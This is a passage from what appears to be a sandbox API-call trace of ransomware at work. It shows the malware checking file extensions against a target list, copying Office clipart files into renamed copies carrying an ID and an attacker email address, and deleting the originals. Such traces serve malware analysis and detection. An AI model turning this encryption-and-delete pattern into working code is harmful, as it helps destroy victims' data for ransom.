lstrlenW (lpString=".xls") returned 4 [0187.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.814] lstrlenW (lpString=".xlsx") returned 5 [0187.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.814] lstrlenW (lpString=".ppt") returned 4 [0187.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.815] lstrlenW (lpString=".zip") returned 4 [0187.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.815] lstrlenW (lpString=".rar") returned 4 [0187.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.815] lstrlenW (lpString=".bz2") returned 4 [0187.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.815] lstrlenW (lpString=".7z") returned 3 [0187.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.815] lstrlenW (lpString=".dbf") returned 4 [0187.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.815] lstrlenW (lpString=".1cd") returned 4 [0187.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.815] lstrlenW (lpString=".jpg") returned 4 [0187.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.815] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.815] lstrlenW (lpString="DD01170_.WMF") returned 12 [0187.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.816] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2404) returned 1 [0187.816] CloseHandle (hObject=0x1e0) returned 1 [0187.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0187.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.816] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.816] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.816] GetLastError () returned 0x0 [0187.816] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x964, lpOverlapped=0x0) returned 1 [0187.818] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x970, lpOverlapped=0x0) returned 1 [0187.819] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.819] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.819] SetEndOfFile (hFile=0x1e4) returned 1 [0187.819] CloseHandle (hObject=0x1e4) returned 1 [0187.819] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.819] SetEndOfFile (hFile=0x1e0) returned 1 [0187.820] CloseHandle (hObject=0x1e0) returned 1 [0187.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0187.821] lstrlenW (lpString=".doc") returned 4 [0187.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".docx") returned 5 [0187.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.821] lstrlenW (lpString=".pdf") returned 4 [0187.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".xls") returned 4 [0187.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.821] lstrlenW (lpString=".xlsx") returned 5 [0187.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.821] lstrlenW (lpString=".ppt") returned 4 [0187.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0187.821] lstrlenW (lpString=".zip") returned 4 [0187.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.821] lstrlenW (lpString=".rar") returned 4 [0187.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".bz2") returned 4 [0187.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".7z") returned 3 [0187.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0187.821] lstrlenW (lpString=".dbf") returned 4 [0187.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0187.821] lstrlenW (lpString=".1cd") returned 4 [0187.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.051] lstrlenW (lpString=".jpg") returned 4 [0188.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.060] lstrlenW (lpString=".doc") returned 4 [0188.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.060] lstrlenW (lpString=".docx") returned 5 [0188.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.060] lstrlenW (lpString=".pdf") returned 4 [0188.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.065] lstrlenW (lpString=".xls") returned 4 [0188.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.072] lstrlenW (lpString=".xlsx") returned 5 [0188.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.079] lstrlenW (lpString=".ppt") returned 4 [0188.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.082] lstrlenW (lpString=".zip") returned 4 [0188.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.087] lstrlenW (lpString=".rar") returned 4 [0188.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.087] lstrlenW (lpString=".bz2") returned 4 [0188.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.087] lstrlenW (lpString=".7z") returned 3 [0188.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.087] lstrlenW (lpString=".dbf") returned 4 [0188.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.087] lstrlenW (lpString=".1cd") returned 4 [0188.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0188.087] lstrlenW (lpString=".jpg") returned 4 [0188.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.087] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.087] lstrlenW (lpString="DD01628_.WMF") returned 12 [0188.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.088] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19068) returned 1 [0188.088] CloseHandle (hObject=0x1f4) returned 1 [0188.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0188.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.088] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.088] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.089] GetLastError () returned 0x0 [0188.089] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0188.093] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0188.094] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.094] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.094] SetEndOfFile (hFile=0x1e0) returned 1 [0188.094] CloseHandle (hObject=0x1e0) returned 1 [0188.095] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.095] SetEndOfFile (hFile=0x1f4) returned 1 [0188.095] CloseHandle (hObject=0x1f4) returned 1 [0188.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0188.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.096] lstrlenW (lpString=".doc") returned 4 [0188.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.096] lstrlenW (lpString=".docx") returned 5 [0188.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.096] lstrlenW (lpString=".pdf") returned 4 [0188.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.096] lstrlenW (lpString=".xls") returned 4 [0188.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.096] lstrlenW (lpString=".xlsx") returned 5 [0188.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.096] lstrlenW (lpString=".ppt") returned 4 [0188.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.096] lstrlenW (lpString=".zip") returned 4 [0188.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.096] lstrlenW (lpString=".rar") returned 4 [0188.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.096] lstrlenW (lpString=".bz2") returned 4 [0188.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString=".7z") returned 3 [0188.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString=".dbf") returned 4 [0188.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString=".1cd") returned 4 [0188.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString=".jpg") returned 4 [0188.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString=".doc") returned 4 [0188.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString=".docx") returned 5 [0188.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.097] lstrlenW (lpString=".pdf") returned 4 [0188.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString=".xls") returned 4 [0188.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.097] lstrlenW (lpString=".xlsx") returned 5 [0188.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.097] lstrlenW (lpString=".ppt") returned 4 [0188.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.097] lstrlenW (lpString=".zip") returned 4 [0188.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.097] lstrlenW (lpString=".rar") returned 4 [0188.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.097] lstrlenW (lpString=".bz2") returned 4 [0188.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.098] lstrlenW (lpString=".7z") returned 3 [0188.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.098] lstrlenW (lpString=".dbf") returned 4 [0188.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.098] lstrlenW (lpString=".1cd") returned 4 [0188.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0188.098] lstrlenW (lpString=".jpg") returned 4 [0188.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.098] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.098] lstrlenW (lpString="DD01629_.WMF") returned 12 [0188.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.099] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=580) returned 1 [0188.099] CloseHandle (hObject=0x1f4) returned 1 [0188.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0188.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.099] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.099] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.099] GetLastError () returned 0x0 [0188.099] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x244, lpOverlapped=0x0) returned 1 [0188.100] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x250, lpOverlapped=0x0) returned 1 [0188.101] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.101] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.101] SetEndOfFile (hFile=0x1e0) returned 1 [0188.102] CloseHandle (hObject=0x1e0) returned 1 [0188.102] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.102] SetEndOfFile (hFile=0x1f4) returned 1 [0188.102] CloseHandle (hObject=0x1f4) returned 1 [0188.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.103] lstrlenW (lpString=".doc") returned 4 [0188.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.103] lstrlenW (lpString=".docx") returned 5 [0188.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.103] lstrlenW (lpString=".pdf") returned 4 [0188.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.103] lstrlenW (lpString=".xls") returned 4 [0188.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.103] lstrlenW (lpString=".xlsx") returned 5 [0188.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.103] lstrlenW (lpString=".ppt") returned 4 [0188.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.103] lstrlenW (lpString=".zip") returned 4 [0188.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.103] lstrlenW (lpString=".rar") returned 4 [0188.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.103] lstrlenW (lpString=".bz2") returned 4 [0188.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.103] lstrlenW (lpString=".7z") returned 3 [0188.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString=".dbf") returned 4 [0188.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString=".1cd") returned 4 [0188.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString=".jpg") returned 4 [0188.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString=".doc") returned 4 [0188.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString=".docx") returned 5 [0188.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.104] lstrlenW (lpString=".pdf") returned 4 [0188.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString=".xls") returned 4 [0188.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.104] lstrlenW (lpString=".xlsx") returned 5 [0188.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.104] lstrlenW (lpString=".ppt") returned 4 [0188.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.104] lstrlenW (lpString=".zip") returned 4 [0188.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.104] lstrlenW (lpString=".rar") returned 4 [0188.104] lstrcmpiW 